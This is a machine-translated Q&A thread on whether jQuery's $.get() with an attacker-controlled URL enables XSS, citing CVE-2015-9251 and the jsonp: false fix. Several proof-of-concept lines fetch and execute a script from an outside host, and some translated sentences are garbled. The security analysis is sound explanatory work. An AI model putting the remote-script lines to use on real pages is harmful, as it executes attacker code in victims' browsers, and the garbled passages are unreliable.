jQuery 的 $.get() 调用不受信任的 URL 是否安全?

Is jQuery's $.get() safe to call on an untrusted URL?

最近得知jQuery的$.getJSON()not safe to call on an untrusted URL$.get() 呢?当 URL 参数来自不受信任的来源时,调用 jQuery 的 $.get() 是否安全,或者这是不安全的?

这是在我进行的安全代码审查中出现的,目的是检查 XSS 漏洞。示例代码模式:

$.get(url, function (...) { ... })

如果攻击者选择 url 恶意,此 Code Pattern 是否会产生 XSS 漏洞?

请假设该函数将安全地处理来自 AJAX 请求的响应,并且 url 来自不受信任的来源(例如,其他用户)并且可以完全由对手.

我担心的是:如果攻击者选择了 url,攻击者是否可以选择恶意的 URL(例如,包含 callback=? 并指向他们自己的站点,或者一些聪明的东西像那样)导致jQuery猜测数据类型应该是JSONP,启用JSONP,在文档中插入脚本标签,并引入XSS漏洞in the same way that getJSON() does? (Since I'm not passing an explicit dataType argument to $.get(), jQuery will guess the data type, as described in the docs。我不确定这对安全有何影响。)

我 运行 在代码审查中检查了这个 Code Pattern,我试图了解它是否是一个潜在的漏洞。我不是在寻找可以编写此代码的替代方法;相反,我想知道这种代码模式是否安全。


由于威胁模型有点棘手,让我举个例子来帮助更好地理解这一点。假设 Bob 是该服务的用户,他可以提供与他的个人资料相关联的 URL。假设当 Alice 在她的浏览器中访问 Bob 的个人资料页面时,页面上的 Javascript 代码采用 Bob 提供的 URL 并将其作为参数传递给 $.get()。问题是,这样安全吗?鲍勃可以用它来攻击爱丽丝吗? Bob 能否触发 Alice 的浏览器执行任意 Javascript 代码,并使用 Alice 的所有功能?正如链接问题所解释的那样,$.getJSON() 在这种情况下是不安全的——但是 $.get() 呢?是不安全,还是安全?


由于我收到了一些要求澄清的请求,让我尝试 explaining/asking 以不同的方式提出问题。假设我正在进行代码审查以检查某些 Javascript 代码是否包含任何 XSS 漏洞,并且我看到以下代码行:

$.get(url, function(resp) { /* do nothing */ });

假设我知道url可以完全被攻击者控制。这会自动成为 XSS 漏洞吗?或者这总是安全的吗?或者如果答案是"it depends",它取决于什么?

或者,另一种思考方式。假设我正在进行代码审查,并且看到以下代码行:

$.get(url, f);

假设我知道url可以完全被攻击者控制。我需要检查什么来验证这是否安全(没有 XSS 错误)?我知道我需要检查 f 的代码以查看它是否安全地处理响应,因为如果 f 粗心,它可能会引入 XSS 错误。我的问题是:这是我唯一需要检查的东西吗?或者无论 f 是如何编码的,这个代码模式总是一个 XSS 漏洞吗?

这是一个很好的观点。但是如何强制数据类型格式以确保它不会被用作 JSONP

$.ajax({
    url: url,
    data: data,
    success: success,
    dataType: dataType  // force text/plain 
});

acutal $.getJSON() 是为了方便我们想加快解析速度,所以如果你真的了解安全性,请使用自定义的 $.ajax() 调用。

更多信息:http://api.jquery.com/jquery.ajax/

你知道,黑客可以简单地打开开发控制台并写入他想要的任何 $.get,他甚至不必更改你的 url 变量。事实上,他可以 运行 绝对是他想要的任何代码,只要它不干扰相同的域策略。客户端安全的重点是确保这个人只能破解他自己。

因此无需尝试保护客户端的任何内容,想法是您不能信任来自浏览器的任何内容,因此您应该始终检查服务器中收到的数据,并允许两者之间的接口最少(了解您的参数、它们的类型等)。

视情况而定。

TL;DR 是的,在某些情况下它是不安全的。

如果:

  • 您没有使用内容安全策略来过滤向外请求(caniuse)
  • 客户端浏览器支持CORS(caniuse)
  • 攻击者可以选择URL

那么攻击者就可以在你的页面上执行JS了。

具有匹配协议的恶意服务器,正确的 CORS headers (Access-Control-Allow-Origin: *) 将能够在您的页面上执行 JS,这要归功于 jQuery 来自 Content-Type header(对于 JS 来说是 script)。

您可以在 Whosebug 上的此页面上尝试示例(假设您使用的是 http):

$.get('http://zensuite.net/js/alert.js', console.log.bind(console));

如果您想查看未设置 CORS header 时会发生什么:

$.get('https://zensuite.net/js/alert.js', console.log.bind(console));

相反,谈论您的假设,您不太可能设法jQuery将正常的 XHR 请求转换为远程包含脚本。

在简要查看 code 之后,我认为这不太可能发生(除非某处有错误),因为您只能在请求传输之前切换到 "remote script mode" 并且如果你的 dataType

  • json 当 URL 匹配 rjsonp 正则表达式时 /(=)\?(?=&|$)|\?\?/
  • jsonp
  • script

这些也容易受到攻击:

$.get('https://zensuite.net/js/alert.js?callback=?', console.log.bind(console), 'json');
$.get('https://zensuite.net/js/alert.js', console.log.bind(console), 'jsonp');
$.get('https://zensuite.net/js/alert.js', console.log.bind(console), 'script');

这当然与问题无关,因为您可以使用 $.get 来执行远程代码。

jQuery.get 是否存在 XSS 安全风险。

如果您查看 jQuery 的源代码(或 jQuery.get 的文档),您会发现 jQuery.getjQuery.post 只是 [= 的包装器16=].

这里有两个问题:

  1. 如果dataTypejsonp,或者URL以=?结尾并且dataTypejson,jQuery将尝试发出 JSONP 请求,然后 eval 脚本。
  2. 如果响应是脚本,jQuery 将执行该脚本 除非 dataTypejson 并且 jsonp选项设置为 false.

因此,如果您将 dataType 设置为 json,并将 jsonp 设置为 false,则 可以安全地 调用 jQuery.get 表示未知 URL.

易受攻击的脚本

$.get(url, function(...) { ... });

See the example on JSFiddle.

安全脚本

$.ajax(url, { jsonp: false, dataType: 'json' }).done(function(...) { ... });

See the example on JSFiddle.

 Does this code pattern create a XSS vulnerability, if an attacker chooses url maliciously?

编辑:是的,但不是你问题中的原因。

怪异的 auto-JSONP 功能在内部应用到 AJAX 使用 ajaxPrefilter("json jsonp") 的请求。所以它适用于 json 前置过滤器列表,但不适用于其他类型或默认的 *。但是,预过滤器在响应发生之前应用,所以这不会仅仅因为服务器以 [​​=47=] 类型回复。

(目前——从 1.11.2 开始——getJSON 的文档没有描述这种 potentially-dangerous 行为准确触发的情况。getajax 根本没有提到 auto-JSONP。所以也许它应该被认为是一个错误。当然考虑到 poorly-specified 这是如何,我不会依赖它在未来的版本中保持不变jQuery.)

它易受攻击的实际原因(如 framp 和 toothbrush 所证明的)是没有 dataType 参数 jQuery 会从响应中猜测一个。如果攻击者的 URL 命中了一个作为 JS-like Content-Type 的资源,jQuery 会猜测它是 JavaScript 和 eval 它。注意:为了使 AJAX 请求足够远以使其工作,对于 third-party 服务器上的资源,它必须包含 CORS headers.

$.get(url, function (...) { ... }, 'json');

此版本不易受到响应类型猜测的攻击。但是,它 容易受到 auto-JSONP 过滤器的攻击。

为了安全起见,您必须同时设置 dataType 选项 ,如果那个选项是 json,还有 jsonp: false选项。遗憾的是,您无法在 get() 方法中设置 jsonp 选项。您应该可以通过传入一个选项字典而不是参数来做到这一点,但是您不能这样做,因为 API 目前完全是 non-functional 因为 jQuery 是一团糟的破碎Do-What-I-Mean API 其行为(越来越)难以预测。

因此,从不受信任的 URL 获取 JSON 的唯一安全方法是通过基本 ajax:

$.ajax(url, {dataType: 'json', jsonp: false});

根据 https://nvd.nist.gov/vuln/detail/CVE-2015-9251

,这是 jQuery < 3.0.0 的 XSS 漏洞

jQuery before 3.0.0 is vulnerable to Cross-site Scripting (XSS) attacks when a cross-domain Ajax request is performed without the dataType option, causing text/javascript responses to be executed.